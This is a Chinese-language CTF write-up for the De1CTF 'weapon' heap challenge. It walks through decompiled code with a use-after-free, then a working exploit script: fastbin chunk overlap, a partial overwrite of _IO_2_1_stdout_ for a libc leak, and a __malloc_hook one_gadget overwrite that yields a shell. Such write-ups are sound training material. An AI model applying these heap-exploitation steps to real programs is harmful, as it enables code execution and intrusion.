De1CTF weapon

1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 menu()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
puts("1. create you weapon");
puts("2. delete you weapon");
puts("3. rename your weapon");
puts("choice >> ");
return __readfsqword(0x28u) ^ v1;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 create()
{
int v1; // [rsp+8h] [rbp-18h] BYREF
int v2; // [rsp+Ch] [rbp-14h]
void *v3; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("wlecome input your size of weapon: ");
_isoc99_scanf("%d", &v1);
if ( v1 <= 0 || v1 > 0x60 )
{
printf("The size of weapon is too dangers!!");
exit(0);
}
printf("input index: ");
v2 = get_int();
v3 = malloc(v1);
if ( !v3 )
{
printf("malloc error");
exit(0);
}
size_array_dword[4 * v2] = v1; # 0x0202068
*(&heaparray + 2 * v2) = v3; # 0x0202060
puts("input your name:");
readread(*(&heaparray + 2 * v2), v1);
return 0LL;
}
1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 delete()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("input idx :");
v1 = get_int();
free(*(&heaparray + 2 * v1));
puts("Done!");
return __readfsqword(0x28u) ^ v2;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 edit()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("input idx: ");
v1 = get_int();
puts("new content:");
readread(*(&heaparray + 2 * v1), size_array_dword[4 * v1]);
puts("Done !");
return __readfsqword(0x28u) ^ v2;
}

无show函数,有uaf

首先,我们如果想要泄露libc,那么unsortedbin是必不可少的,但是我们最大只能分配0x60,达不到0x70(最小unsortedbin大小),怎么办呢,看下面这段payload:

1
2
3
4
5
6
7
8
9
10
11
12
add(0, 0x60, p64(0) + p64(0x71))  # 000
add(1, 0x60, b'f') # 070
add(2, 0x60, p64(0) * 3 + p64(0x51)) # 0f0

delete(0)
delete(1)
edit(1, p8(0x10))
add(3, 0x60, b'ff') # 070
add(4, 0x60, p64(0) * 0xb + p64(0x71)) # 010
delete(1)
edit(4, p64(0)*0xb+p64(0x91))
delete(1)

先add三个chunk,delete 0和1,此时bins:

1
2
3
pwndbg> bins
fastbins
0x70: 0x55de679c9070 —▸ 0x55de679c9000 ◂— 0x0

edit chunk 1的fd末两位为0x10,此时bins为

1
2
3
pwndbg> bins
fastbins
0x70: 0x556f910ed070 —▸ 0x556f910ed010 ◂— 0x0

这时分配chunk 3和chunk 4,会分别分配出070处的chunk和010处的chunk,我们利用这个010处的chunk进行edit就能进行溢出,通过覆盖chunk 3(chunk 1)的size为0x90,我们将其free就可以进入unsortedbin了

1
2
3
4
5
6
pwndbg> x/16gx $rebase(0x0202060)
0x557e39c02060: 0x0000557e3aa1f010 0x0000000000000060 # 0
0x557e39c02070: 0x0000557e3aa1f080 0x0000000000000060 # 1
0x557e39c02080: 0x0000557e3aa1f0f0 0x0000000000000060 # 2
0x557e39c02090: 0x0000557e3aa1f080 0x0000000000000060 # 3
0x557e39c020a0: 0x0000557e3aa1f020 0x0000000000000060 # 4

那么接下来要解决的就是没有show怎么输出的问题了

由于这个unsortedbin里存的main_arena+88的地址离stdout很近,所以我们覆盖低两位就能完成将其改写为0x7f3949dc25dd,因为_IO_2_1_stdout_的低第三位是不确定的,所以在打的时候需要爆破(成功的概率为1/16),也就是多打几遍让_IO_2_1_stdout_的低第三位正好等于main_arena的低第三位,而低两位覆盖的这个值可能需要自己在内存中找一下,找到对应size符合要求即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pwndbg> p &_IO_2_1_stdout_
$1 = (_IO_FILE_plus *) 0x7fdb753c5620 <_IO_2_1_stdout_>
pwndbg> p/x &main_arena
$2 = 0x7fdb753c4b20
pwndbg> x/2gx 0x7fdb753c55dd
0x7fdb753c55dd <_IO_2_1_stderr_+157>: 0xdb753c4660000000 0x000000000000007f

pwndbg> fp 0x7fdb753c5620
$3 = {
file = {
_flags = -72537977,
_IO_read_ptr = 0x7fdb753c56a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7fdb753c56a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7fdb753c56a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7fdb753c56a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7fdb753c56a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7fdb753c56a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7fdb753c56a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7fdb753c56a4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7fdb753c48e0 <_IO_2_1_stdin_>,
_fileno = 1,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "\n",
_lock = 0x7fdb753c6780 <_IO_stdfile_1_lock>,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x7fdb753c47a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = -1,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7fdb753c36e0 <_IO_file_jumps>
}

flag位

image-20240727010626399

改成0xfbad1800,_IO_write_base低一位覆盖为\x00,这样在下一次进行stdout的时候就会打印出很多信息

这里我实测题目给的libc的版本(Ubuntu GLIBC 2.23-0ubuntu10)是不可能完成这个利用的,这个版本的stdout低两位为5620,距离其最近的一个0x7f距离为0x43,再加上我们要覆盖到的一共是0x71>0x60,所以不可能完成这个利用,然后换了好多版本都不行,不纠结了,换一题打

偏移算错了距离不是0x43是0x33(因为元数据的存在,得拿55ed来算距离),要不然都没有这种攻击手法了感觉

image-20240729172709894

注意,这里修改成功之后调试的时候就看不到了(需要下更细的断点),猜测是因为在后面刷新流的过程中覆盖掉了

image-20240729173136401

然后接受一下输出就可以泄露出libc地址了

1
2
3
4
5
6
7
8
9
recv_info = uu64()
libc_base = recv_info - 0x3c5600
malloc_hook = libc_base + libc.sym['__malloc_hook']
onegg = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
onegg = libc_base + onegg[0]
lg("recv_info")
lg("libc_base")
lg("malloc_hook")
lg("onegg")

有libc,直接fastbin_attack秒了

1
2
3
4
5
6
7
8
9
10
11
# 7 -> malloc_hook
add(7, 0x60, b'ffffffff') # 070
delete(7)
edit(7, p64(malloc_hook - 0x23))
add(8, 0x60, b'6')
add(9, 0x60, b'a' * 0x13 + p64(onegg))

sla(b'choice >> ', str(1))
sla(b'wlecome input your size of weapon: ', str(96))
sla(b'input index: ', str(10))
sl(b'whoami')

ctfshow_pwn162

https://yukon.icu/2024/07/15/snote2/